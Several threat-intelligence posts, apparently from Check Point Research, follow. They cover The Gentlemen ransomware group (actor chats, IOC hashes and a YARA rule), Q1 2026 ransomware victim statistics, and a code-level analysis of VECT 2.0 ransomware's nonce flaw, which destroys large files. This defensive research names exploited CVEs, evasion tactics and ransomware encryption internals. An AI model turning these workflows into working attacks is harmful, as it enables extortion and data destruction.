  2. Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK.
Figure 35 — Initial access proof.

Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”.


Their View of Other RaaS Programs and Actors

The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players.

Program / GroupThings DiscussedSubjective Sentiment (Their View)
HelloKittyName/brand as something they’d like to use; jokes about linking to the real Hello Kitty site and putting (R) everywhere; described explicitly as a “мощный бренд”.Very positive on brand strength and recognition; sees it as a powerful marketing asset.
KrakenMention that “товарищи кракен” wrote to qbitqbit later says their team might “move” over to zeta88’s side.Neutral‑pragmatic; current or past orbit, but clearly willing to switch away for better options.
Dragon ForceOne of only two programs zeta88 would choose from “all presented”; explicitly says they pay both operators and adverts; only negative comments heard were about their software/panel.Strongly positive overall; trusted, in the top tier of programs they respect.
GunraListed among candidate PPs for a supplier; zeta88 says “че эт ваще такое…”, and lumps it with Hyflock; calls the operator “этот мудень”.Negative; unserious / low‑relevance; clear disdain for the operator.
HyflockSame context as Gunrazeta88 dismisses it in the same breath as Gunra, with the same derogatory comment about the person behind it.Negative; grouped with Gunra as not to be taken seriously.
ShadowByt3$ RAASAppears in the candidate list; zeta88 simply comments “хз” (doesn’t know).Neutral; no formed opinion, neither trust nor distrust expressed.
AnubisAppears in the candidate list; zeta88 asks “% видел он?”, focusing on what percentage they take.Cautious / skeptical; interest hinges on profit split; no clear positive trust.
CHAOSAppears in the candidate list; zeta88 asks whether they will still take that supplier (“возьмут ли они его еще”).Uncertain; doubts about acceptance / relationship continuity; not a clearly preferred option.
LockBit (tooling)quant asks what a локбит тулза actually is (builder or decryptor), notes he has not opened it; no explicit evaluation of the group itself.Curious but cautious; tooling is not trusted or fully understood yet; no explicit sentiment on LockBit group.
Black Basta / Devmanquant asks if “блек баста это девман”; zeta88 speaks harshly about “David” and his link to Devman, calls him “мудак” and “чепуха”, wishes them невыплат (non‑payment).Strongly negative but personalized; animosity toward David/Devman rather than a structured view of the RaaS.
“Red team” / Mr Beng clusterMentions Редтим=красный лотос=арсен=баламут=студент and “мистер БЕНГ”; mocks offer of 15k for “source code” of a C2 built on top of white tools (Velociraptor, etc.); ridicules this as overpriced and based on legitimate software.Negative; sees them as overpriced grifters repackaging white tools with heavy marketing.


Conclusion

The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations.

The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline.

Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.


Indicators of Compromise

DescriptionValue
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
1334f0189a8e6dbc48456fa4b482c5726ab7609f7fa652fcc4c1a96f2334436f
1af419b36a5edefef387409e2b3248c9223f7dc49a4f7b15ea095d371c3a70b2
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
24ac3588fb8cfbff63b7fdfcbc7dec1f3c60e54e6f949dd69d68e89e0c89d966
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
3c2182cb0bc7528829ef03f1b1745a92bcc47d917eb8870862488f21fdf1a6d6
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
4a175eed927c0a477eafb8aa35a93c191748acaa78ac7aecd8ea3c4cd868887c
51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
6a3ab9e984a759d55af4e84487d1fc44683065cc9a1089d5aa4ad1c0e4e84a63
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8aa0cb69ca2777001e0f4ba0eaab0841592710e4cc5ccd6b0b526d78bbd8bfba
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
dce2e5cc00eff2493f8ced546dc51f9d5ef78c5ee56805906ec642dfa77a1c70
dfe696ff713318c53fb17731bd4a6585a02c085b590149b19847990b324a0be6
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
The Gentlemen Linux1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c
5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

The post Thus Spoke…The Gentlemen appeared first on Check Point Research.

  •  

The State of Ransomware – Q1 2026

Key Findings

  • Consolidation after peak fragmentation: The top 10 ransomware groups accounted for 71% of all Q1 2026 victims, a sharp reversal from the fragmentation seen in Q3 2025. The ransomware ecosystem is once again consolidating around fewer, more dominant operators.
  • Volume stabilization at historically high levels: There were 2,122 victims posted on data leak sites (DLS), making this period the second-highest Q1 on record. The long growth trend is stabilizing.
  • Qilin’s sustained dominance: Qilin maintained its position as the most prominent ransomware operation for the third consecutive quarter, posting 338 victims.
  • The Gentlemen is the breakout story of Q1 2026 reaching the third place on the global ransomware list, increasing their victim count from 40 victims in Q4 2025 to 166 in Q1 2026.
  • LockBit 5.0 comeback confirmed: LockBit posted 163 victims in Q1 2026, climbing to fourth place.

Ransomware in Q1 2026: Consolidation at Scale

During the first quarter of 2026, we monitored more than 70 active data leak sites (DLS) that collectively listed 2,122 new victims. This figure represents a 12.2% decline from the Q4 2025 all-time record of 2,416 victims but remains the second-highest Q1 on record at 117% above Q1 2024 (977 victims) and is keeping in line with the elevated baseline established through 2025.

Figure 1 – Total number of reported ransomware victims in DLS, per month (Jun 2024 – Mar 2026).

Monthly volumes within Q1 were consistently stable: in January there were 732 recorded victims, 684 in February, and 706 in March. This reflects a sustained operating rate of an average of 707 victims per month in Q1 2026.

The headline year-over-year (YoY) comparison shows a 7.1% decline from the 2,285 victims in Q1 2025. However, this comparison is misleading as the Q1 2025 numbers were heavily inflated by Cl0p’s Cleo mass-exploitation campaign which contributed approximately 390 victims in a single burst. If we exclude Cl0p from both periods, there were 1,894 victims in Q1 2025 versus 1,995 in Q1 2026, an actual YoY increase of 5.3%. The underlying growth trend in ransomware operations persists, even as the most dramatic spikes subside.

From fragmentation to consolidation

The most significant structural development seen in Q1 2026 is not the volume of attacks but the consolidation of the different operators conducting them. After two years of steady fragmentation, during which the number of active groups grew from 51 in Q1 2024 to a peak of 85 in Q3 2025 and the Top-10 share of victims fell from 68% to 57%, the ecosystem has decisively reversed course.

In Q1 2026, the top 10 groups accounted for 71.1% of all DLS-posted victims, which is the highest concentration since Q1 2024 when the ecosystem was far smaller. The number of active groups shrank from 85 to 71. Fourteen groups that were active in Q4 2025 disappeared entirely, while 21 new names appeared. However, most of the newcomers posted fewer than 10 victims, failing to take advantage of the disappearance of established mid-tier operators.

This is a common pattern repeated throughout the ecosystem’s history: law enforcement actions disrupt the ransomware market, affiliates scatter, and survivors who avoid disruption absorb the displaced talent pool and grow. Groups such as Qilin, Akira, The Gentlemen, and LockBit, who together claimed 41% of all victims in Q1, capitalized on the instability of their competitors. In Q1 2026, Qilin alone posted more victims than the combined output of the bottom 50 groups.

This dynamic carries implications beyond statistics. The consolidation of the ecosystem around fewer, more dominant operators changes its character. Larger RaaS brands invest in operational consistency, including functional decryption tools, because their business model depends on the perception that victim payment results in data recovery. In contrast, the ransomware fragmentation we saw in 2025 introduced dozens of transient operators with no such incentive to invest any effort in decryption. An example is Obscura, whose encryption bug renders files over 1 GB permanently unrecoverable regardless of payment. For defenders and incident responders, consolidation means facing fewer but more capable adversaries.

Figure 2 – Top 10 ransomware groups by number of publicly claimed victims – Q1 2026.

Notable surges and declines

Comparing the data between Q4 2025 and Q1 2026 reveals which groups are absorbing the affiliate talent pool, and which are failing to take advantage of it.

Surges:

  • The Gentlemen grew by 315%, going from 40 claimed victims to 166, making them the biggest story of Q1 2026, covered in detail below.
  • LockBit 5.0 activity increased by 106%, from 79 victims to 163.
  • Nightspire, a closed-group operation with OneDrive cloud encryption capability, expanded by 183% from 29 victims to 82, sustaining growth across two consecutive quarters.
  • Play posted a 64% increase, going from 74 victims to 121.

Declines:

  • SafePay fell by 77%, going from 97 victims to 22. SafePay is a centralized, non-RaaS operation whose DLS was marked inactive from mid-March 2026 through early April for unknown reasons.
  • Devman declined by 70%, from 82 victims to 25. The ransomware’s operator “Tramp”, a former Conti and Black Basta affiliate, was added to Interpol’s wanted list in January 2026. All three DLS sites went offline by early February.
  • Sinobi dropped by 42%, from 139 victims to 80. After a strong January (56 victims), activity collapsed to just 7 victims in March. As of the time of this publication, no postings were recorded in April.
Figure 3 – Interpol’s Red Notice for Devman’s operator, Nefedov.

Actor Spotlight: The Gentlemen – The Breakout Story of Q1 2026

The Gentlemen is the most significant new ransomware operation to emerge in recent months. Going from zero victims in August 2025 to 166 in Q1 2026, the group achieved third place globally through a combination of pre-existing access stockpiles, aggressive geographic diversification, and a deliberate rejection of the traditional US-centric targeting model.

Figure 4 – The Gentlemen monthly victim trajectory, February peak: 82 victims in a single month.

Origins: A Qilin defection

The Gentlemen was founded by a threat actor known as Hastalamuerte – an experienced Qilin affiliate, who left the Qilin RaaS program following a dispute over an unpaid commission of approximately $48,000. This explains both its rapid operational capability and its sophistication: the operators started with established tradecraft, tooling, and, crucially, a stockpile of pre-compromised access.

The FortiGate stockpile

The group’s most distinctive asset is a cache of approximately 14,700 pre-exploited FortiGate devices, exploited primarily via CVE-2024-55591 (a critical authentication bypass in FortiOS/FortiProxy). In addition to the exploited devices, the operators maintain 969 validated brute-forced FortiGate VPN credentials ready for attack. This stockpile provides The Gentlemen with a supply of ready-to-use initial access tools far exceeding what typical RaaS affiliates acquire through real-time exploitation or access broker purchases.

How was this stockpile acquired? According to this report, Hastalamuerte was an experienced affiliate who had previously worked with Embargo, LockBit, and Medusa before joining Qilin. Before creating their own RaaS platform, The Gentlemen’s operators “experimented with various affiliate models used by other prominent ransomware groups.” The 14,700-device inventory likely predates the group’s September 2025 launch. Publishing 38 victims within weeks of beginning operation strongly suggests pre-existing access in the form of a massive number of compromised devices rather than real-time exploitation.

A non-Western targeting model

The Gentlemen’s geographic distribution is a striking outlier. Only 13.3% of its victims are based in the United States, compared to the ecosystem average of 49.6%. Thailand (10.8%), Brazil (6.0%), and India (4.2%) all feature prominently on their victim list.

This may reflect the geographic distribution of exploitable FortiGate devices; the group attacks where it has pre-positioned access, and that access happens to be concentrated in APAC and Latin American networks. This is an infrastructure-driven pattern rather than a deliberate targeting strategy: the operators did not choose Thailand or Brazil based on strategic preference but are exploiting access they already have.

However, we cannot exclude a secondary factor: deliberate avoidance of US targets to reduce law enforcement risk. The Gentlemen is a Russian-speaking operation founded by an affiliate who already experienced the consequences of ransomware ecosystem disputes. The decision to exploit a globally distributed stockpile while bypassing US devices – if that is what is occurring – would represent rational risk management given the heightened US law enforcement posture.

LockBit 5.0: Making a Comeback

LockBit posted 163 victims in Q1 2026 (an increase of 106% compared to Q4 2025), climbing from outside the top 10 to fourth place globally. After an initial surge of 85 victims in January (likely to reflect the accumulation of access during the pre-launch period), activity dipped to just 33 victims in February before climbing back to 45 in March. This dip-and-recovery trajectory is characteristic of a program rebuilding its affiliate base instead of exhausting a one-time stockpile, assuming these are genuine reports and not recycled or fictional reports.

Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure. 

Figure 5 – LockBit’s DLS-published victims (Q1 2023 – Q1 2026).

The new LockBit 5.0 was officially launched on the RAMP underground forum in September 2025, coinciding with the sixth anniversary of the operation. The new version introduced multi-platform support (Windows, Linux, ESXi), enhanced evasion and anti-analysis mechanisms, faster encryption routines, and randomized 16-character file extensions to disrupt signature-based detection. New affiliates were required to provide a Bitcoin deposit of approximately $500.

Geographic diversification: from US dominance to global spread

LockBit’s geographic targeting has undergone a dramatic and measurable shift since its last appearance. Historically, the United States accounted for over 50% of LockBit’s victims – consistent with the ecosystem-wide baseline. In Q1 2026, US victims represented just 21.2% of LockBit’s total, with Italy (8.6%), Brazil (8.6%), and Turkey (5.1%) picking up the slack.

The shift away from US victims is new. Despite no documented forum announcements, the circumstantial evidence is strong: the direction is specifically toward non-US and European nations or countries with less aggressive behavior toward ransomware operators such as Italy, Brazil, and Turkey. The result is a nearly 30-percentage-point (pp) drop in US-based victims, despite an overall 106% increase in victims compared to Q4 2025.

The reaction to law enforcement actions may not result in a lower overall attack volume, but operators such as LockBitSUpp appear to be trying to redirect their activity away from the enforcing jurisdictions. Whether this represents a deliberate strategic decision or an emergent consequence of attracting affiliates from different geographic backgrounds remains an open question.

DragonForce: The Cartel Model Under Pressure

DragonForce posted 101 victims in Q1 2026 (an increase of 29% compared to Q4 2025), with a steep climb from 10 victims in January to 35 in February and 56 in March. This trajectory suggests an operation gaining momentum rather than depleting stockpiled access.

DragonForce continues to distinguish itself through its public relations strategy and “cartel” branding, positioning itself as an umbrella organization for multiple sub-brands. However, our investigation indicates that the cartel model is smaller than advertised:

  • Devman, which split from DragonForce in July 2025, saw their victim totals collapse from 82 (Q4 2025) to 25 (Q1 2026). Twenty-four of those victims were posted in January.
  • Coinbase Cartel, initially reported as a DragonForce sub-brand, has been independently linked to the ShinyHunters operation by Bitdefender.
  • Obscura, cited as a potential cartel member, posted only around 20 victims in total.

DragonForce’s technical capabilities remain genuine with multi-platform support and the group actively recruits affiliates. Its data audit service, which analyzes stolen datasets exceeding 300 GB to identify the most valuable information for extortion leverage, represents genuine innovation in the extortion model. However, the broader cartel narrative appears to be more marketing than substance.

Geographic Distribution of Victims – Q1 2026

The geographic distribution of ransomware victims in Q1 2026 maintains the fundamental pattern established over previous quarters: the United States accounts for just under half of all reported cases (49.6%), with Western developed economies making up the clear majority of targets.

Figure 6 – Top 10 targeted countries, Q1 2026.

The most notable development is Thailand’s entry into the top 10 for the first time, driven almost entirely by The Gentlemen, for whom Thai organizations constitute 10.8% of total victims. Taiwan also rose sharply (from 8 victims to 26), while South Korea dropped out entirely. This confirms that Qilin’s Q3 2025 financial sector campaign targeting 30 South Korean organizations was a one-off event rather than a sustained targeting shift.

Per-Actor Geographic Targeting: Distinct Patterns

A per-actor analysis of the top 20 groups’ country distributions reveals that the ecosystem-level averages mask dramatically different targeting strategies. We identified six distinct geographic patterns by measuring each actor’s deviation from the 49.6% US baseline.

Pattern 1 – Extreme US focus (>75% US). These actors target the United States at rates far exceeding the ecosystem average:

  • Play (85.1% US) operates as a closed group with a Russia-nexus lineage and centralized target selection that consistently prefers US organizations.
  • Sinobi (76.2% US) explicitly targets US mid-market manufacturing and construction.
  • Genesis (93.1% US) whose near-exclusive US focus (27 of 29 confirmed victims) and emphasis on the Healthcare sector (20.7%) is striking for an emerging actor with no documented affiliate program.

Pattern 2 – Deliberate US avoidance (<25% US). These actors are going in the opposite direction:

  • Tengu (11.4% US) is the most geographically diversified actor in the top 20, with victims spread across Indonesia (8.6%), Mexico (8.6%), India (6.9%), and Italy (5.8%).
  • LockBit (21.5% US) represents deliberate post-disruption diversification, as discussed above.

Pattern 3 – Vulnerability related distribution:

  • Cl0p’s geographic anomalies (18.1% Canada and 8.7% Australia). Cl0p’s traditional mass exploitation campaigns produce victim distributions that mirror the installed base of the exploited software, in this case EBS campaign (CVE-2025-61882).
  • The Gentlemen (13.3% US) reflects the geographic distribution of its approximately 14,700-device FortiGate access stockpile, which is concentrated in Thailand (10.8%), Brazil (6%), and India (4.2%).

Country-Level Actor Dominance: When One Group Shapes a Nation’s Threat Profile

Flipping the analysis from “which countries does an actor target” to “which actors dominate each country” reveals an even more striking picture. Several countries’ entire ransomware threat profiles are defined by a single actor’s operational choices.

Single-actor-shaped countries:

CountryDominant actorShare
ThailandThe Gentlemen53%
ArgentinaQilin39%
MexicoLockBit37%
AustraliaCl0p34%
SwitzerlandAkira31%
BrazilLockBit31%

Thailand’s case is the most extreme: more than half of all Thai ransomware victims are claimed by The Gentlemen. Without this single group, Thailand would not even appear in the top-10 most-attacked countries. Similarly, without Cl0p’s Oracle EBS campaign, Australia and Canada would show substantially lower victim counts. These findings underscore that country-level ransomware statistics are frequently shaped by one actor’s specific access inventory, software exploitation campaign, or strategic redirection – not by broad shifts in the threat landscape.

Multi-actor convergence countries. Two countries stand out for having three or more actors independently converging to create unusually diverse threat environments:

  • Turkey (23 victims): LockBit (6 victims) + DragonForce (5 victims) + The Gentlemen (5 victims), 70% of Turkey’s victim totals are due to the activity of just three actors.
  • Japan (21 victims): The Gentlemen (6 victims) + Everest (4 victims) + Nightspire (3 victims). = 62% of the victims are due to three distinct actors. Both The Gentlemen and Nightspire exploit the same FortiGate vulnerability (CVE-2024-55591).

Ransomware Attacks by Industry – Q1 2026

The industry distribution of ransomware victims in Q1 2026 shows continued cross-sector impact, with a few notable concentrations.

Figure 7 – Ransomware victims by industry, Q1 2026.

As with geographic patterns, ecosystem-level industry averages mask fundamentally different targeting strategies at the actor level. A per-actor analysis of the top 20 groups reveals that sector selection is driven by at least three distinct observations.

Software footprint targeting. Cl0p’s 53.5% Business Services concentration (+18.6 percentage points above baseline) does not reflect a preference for professional services firms. It reflects the user base of Oracle EBS, the enterprise application exploited in the Q1 2026 campaign. Mass exploitation campaigns produce industry distributions that mirror the deployment pattern of the exploited software. This is the same dynamic observed in Cl0p’s geographic analysis, where Canada and Australia were over-represented because of Oracle EBS adoption.

Operational disruption maximization. Akira’s targeting of Consumer Goods (23.9%, +9.8 percentage points above baseline) and Industrial Manufacturing (17.8%, +6.7 percentage points above baseline), a combined 41.7% versus the 25.1% baseline, is consistent with an economically optimized model. These sectors share high downtime costs (production lines, supply chain dependencies) and complex IT/OT environments that make recovery without decryption keys extremely difficult. With $244 million in total proceeds and a 34% share of IR engagements, Akira’s sector selection reflects deliberate targeting of firms where the pressure to pay is greatest. This is not opportunistic; it’s the Conti lineage playbook applied to the sectors where it generates the highest return per incident.

Anubis stands apart from all other top-20 actors in its willingness to target healthcare (13.0%, +8.3 percentage points above baseline) and critical infrastructure (8.7%, +7.7 percentage points above baseline).

Conclusion

In Q1 2026, the ransomware ecosystem entered a new phase. After two years of steady fragmentation, the market is reconsolidating around a smaller number of dominant operators. Qilin, Akira, The Gentlemen, and LockBit together account for 41% of all victims. Domination by the top-10 actors has returned to levels not seen since early 2024.

This consolidation is not a return to the previous state. The emerging dominant groups are more technically capable, more geographically diversified, and more resilient to disruption than their predecessors. At the same time, the economic foundations of ransomware are showing signs of stress. Payment rates have fallen to historic lows. Mass data-theft campaigns are generating diminishing returns. The gap between the growing number of DLS-posted victims (2,122 in Q1 2026) and the declining monetization per victim may accelerate the current consolidation squeezing out operators who cannot achieve sufficient scale or sophistication to remain profitable.

The post The State of Ransomware – Q1 2026 appeared first on Check Point Research.

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VECT: Ransomware by design, Wiper by accident

Key Takeaways

  • Check Point Research discovers that the VECT 2.0 ransomware permanently destroys “large files” rather than encrypting them. A critical flaw in the encryption implementation, identical across all three platform variants (Windows, Linux, ESXi), discards three of four decryption nonces for every file above 131,072 bytes (128 KB). Full recovery is impossible for anyone, including the attacker. At a threshold of only 128 KB, this effectively makes VECT a wiper for virtually any file containing meaningful data, enterprise assets such as VM disks, databases, documents and backups included. CPR confirmed this flaw is present across all publicly available VECT versions.
  • The cipher is misidentified in public reporting. VECT uses raw ChaCha20-IETF (RFC 8439) with no authentication, not ChaCha20-Poly1305 AEAD as claimed in several widely cited threat intelligence reports (and VECT’s initial advertisement). There is no Poly1305 MAC and no integrity protection.
  • Advertised encryption speed modes are not implemented. The --fast, --medium, and --secure flags present across Linux and ESXi variants are parsed and then silently ignored. Every execution applies identical hardcoded thresholds regardless of operator selection.
  • Three platforms, one flawed engine: Windows, Linux, and ESXi variants share an identical encryption design built on libsodium, with the same file-size thresholds, the same four-chunk logic, and the same nonce-handling flaw throughout, confirming a single codebase ported across platforms.
  • Professional facade, amateur execution: beyond the nonce flaw, CPR identified multiple additional bugs and design failures across all variants, from self-cancelling string obfuscation and permanently unreachable anti-analysis code, to a thread scheduler that actively degrades the encryption performance it meant to improve.

Background

VECT Ransomware is a Ransomware-as-a-Service (RaaS) program that made its first appearance in December 2025 on a Russian-language cybercrime forum. After claiming their first two victims in January 2026, the group got back into the public eye due to an announcement of a partnership with TeamPCP, the actor behind several supply-chain attacks in March 2026. These attacks injected malware into popular software packages such as Trivy, Checkmarx’ KICS, LiteLLM and Telnyx, affecting a large base of downstream consumers. Shortly after these attacks made headlines, VECT made a post on BreachForums, announcing their partnership with TeamPCP, with the goal to exploit the companies affected by those supply chain attacks.

Figure 1: Announcement of partnership with BreachForums and TeamPCP.

In addition, VECT announced a partnership with BreachForums itself, promising that every registered forum user will become an affiliate and thus be able to use the VECT ransomware, negotiation platform and leak site for operations. Traditionally, most ransomware groups allow affiliates to join either based on reputation or through paying a fee. As of April 2026, this partnership is in full effect:

Figure 2: Partnership release page on BreachForums.
Figure 3: Distribution of access keys to all members of BreachForums via a forum private message.

While these actions show an ambitious project, the group’s current leak site only lists two victims, both originating from the TeamPCP supply chain attacks:

Figure 4: VECT darknet leak site.

The VECT Ransomware is written in C++ and, with version 2.0 released in February 2026, VECT supports Windows and Linux hosts as well as ESXi hypervisors. The group claims to have built all three lockers from scratch. Additionally, a forum post mentions that dedicated “Cloud Lockers”, likely targeting various cloud storage services, will be made available for affiliates that will prove their skills through a quiz or puzzle challenge in the near future.

Introduction: Ransomware Analysis Overview

Through an account on BreachForums, Check Point Research got access to the panel and ransomware builder. Here, an affiliate has the option to build three different payloads: Windows, Linux and ESXi (as well as a dedicated tool for data exfiltration, which is not yet available at the time of writing):

Figure 5: VECT builder panel.

Check Point Research analyzed all three payloads, uncovering various flaws and oversights – revealing that, behind the professional facade, VECT ransomware is not a technically sophisticated service.

Ransomware Cross-Platform Overview

As detailed in the following sections, VECT 2.0 targets Windows, Linux, and VMware ESXi through three distinct variants built on a shared codebase. While platform-specific disruption logic differs, the core encryption engine is identical across all three, a design decision that ensures the flaw described in the next section affects every supported platform equally.

All three variants are statically compiled C++ executables embedding the libsodium cryptographic library, accept operator-supplied command-line flags, support lateral movement, and produce an identical on-disk encrypted file format. The table below summarizes the key properties across all three variants.

PropertyWindowsLinuxESXi
ArchitecturePE64 (x86-64)ELF64 (x86-64)ELF64 (x86-64)
ToolchainMinGW-w64 / C++GCC / C++GCC / C++
Crypto librarylibsodium (static)libsodium (static)libsodium (static)
CipherChaCha20-IETF (RFC 8439)ChaCha20-IETF (RFC 8439)ChaCha20-IETF (RFC 8439)
Key size32 bytes32 bytes32 bytes
Nonce size12 bytes12 bytes12 bytes
Small file threshold131,072 bytes131,072 bytes131,072 bytes
Large file chunks444
Chunk offset formulafile_size / 4 × indexfile_size / 4 × indexfile_size / 4 × index
Max chunk size32,768 bytes32,768 bytes32,768 bytes
Nonces written to disk1 (last chunk only)1 (last chunk only)1 (last chunk only)
Encrypted extension.vect.vect.vect
Ransom note filename!!!READ_ME!!!.txt!!!READ_ME!!!.txt!!!READ_ME!!!.txt
Default target pathAll drives//vmfs/volumes
Lateral movementWMI / DCOM / SMB / SC / Schtasks / PSRemotingSSH / SCPSSH / SCP
Geofencing / CIS bypassNoYes (locale + timezone)Yes (locale + timezone)
Anti-debugProcess scan + kernel object queryTracerPid checkTracerPid check
Encryption mode flagsN/AParsed, not implementedParsed, not implemented

Nonce Flaw – “Large File” Destruction

Correct Cryptographic Identification

Before describing the flaw, a correction to existing public reporting is warranted. Several published analyses describe VECT’s encryption as ChaCha20-Poly1305 AEAD. This is incorrect as we confirmed that all three versions (Windows, Linux, ESXi) use the raw, unauthenticated ChaCha20 stream cipher in its IETF variant (RFC 8439) via libsodium’s crypto_stream_chacha20_ietf_xor. The _ietf designation refers specifically to the standardized 96-bit (12-byte) nonce and 32-bit counter parameterization distinct from Bernstein’s original 64-bit nonce form.

The ChaCha20-Poly1305 AEAD construction appends a 16-byte Poly1305 authentication tag to each ciphertext. No such tag exists in any VECT-encrypted file. The on-disk format contains only raw ciphertext followed by a 12-byte nonce – no MAC, no integrity protection, no authenticated encryption of any kind.

Figure 6: VECT’s per-chunk encryption helper – 12-byte nonce is generated by randombytes() and passed directly into crypto_stream_chacha20_ietf_xor.

This misattribution likely stems from researchers trusting the threat actors’ own initial forum advertisement where VECT themselves incorrectly named the encryption scheme they use.

Figure 7: VECT initial forum advertisement – incorrect naming of the encryption scheme.

Overview

All three VECT 2.0 variants share a critical implementation flaw that causes any file larger than 131,072 bytes (128 KB, smaller even than a simple document) to be permanently and irrecoverably destroyed rather than encrypted for later decryption. The malware encrypts four independent chunks of each ”large file” using four freshly generated random 12-byte nonces, but appends only the final nonce to the specific encrypted file on disk. The first three nonces, each required to decrypt its respective chunk, are generated, used, and silently discarded. They are never stored on disk, in the registry, or transmitted to the operator.

Because ChaCha20-IETF requires both the 32-byte key and the exact matching 12-byte nonce to reverse each chunk, the first three quarters of every large file are unrecoverable by anyone including the ransomware operator who cannot provide a working decryption tool even after ransom payment. Since the vast majority of operationally critical files exceed this “large-size” threshold, VECT 2.0 functions in practice as a data wiper with a ransomware facade.

Small File Processing

For files not exceeding 131,072 bytes (128 KB), the entire content is encrypted in a single pass. One 12-byte nonce is generated, used to encrypt the full file in-place, and appended to the end of the file. The resulting on-disk layout is:

[ ChaCha20-IETF ciphertext - full file ][ nonce - 12 bytes ]

For this size class, the format is internally consistent and the appended nonce is sufficient to reverse the single encryption pass. These files are fully decryptable.

Figure 8: Small file processing (single ChaCha20-IETF pass, 12-byte nonce appended at EOF).

Large File Processing – The Flaw

For files exceeding 131,072 bytes (128 KB), VECT divides the file into four chunks at quarter-file offsets derived from the file size:

  • Quarter size: file size divided by 4
  • Chunk start offsets: 0, ¼, ½, ¾ of the file
  • Chunk size per offset: up to 32,768 bytes (32 KB), or the remaining file length if shorter

The encryption loop processes each chunk in sequence. The per-chunk encryption helper is called once per iteration and on every call it generates a fresh cryptographically random 12-byte nonce via libsodium’s randombytes(), writing it into a single shared output buffer passed by the caller.

Figure 9: The per-chunk encryption helper.

Because all four calls receive the same buffer address, each new nonce overwrites the previous one. After the loop completes, only the nonce from the fourth/final chunk remains in the buffer and this is the only nonce appended to the file.

Figure 10: Large file processing (4 chunks encrypted with 4 unique nonces; a single nonce appended at EOF).

The three discarded nonces are outputs of randombytes() (which on Windows internally resolves to SystemFunction036 / RtlGenRandom in advapi32.dll, forwarding to ProcessPrng in bcryptprimitives.dll; on Linux and ESXi it reads from the kernel CSPRNG via getrandom() or /dev/urandom through libsodium’s safe_read()), cryptographically unpredictable values that are never stored anywhere after the buffer is overwritten. There is no sidecar file, no registry entry, and no network exfiltration of nonce material in any of the three variants.

Cross-Platform Confirmation

The flaw is structurally identical across all three platform variants. In each case, the per-chunk encryption helper generates a fresh random nonce on every call and writes it into the same caller-supplied 12-byte buffer; all four iterations of the loop share this buffer; and a single 12-byte write to the end of the file follows the loop.

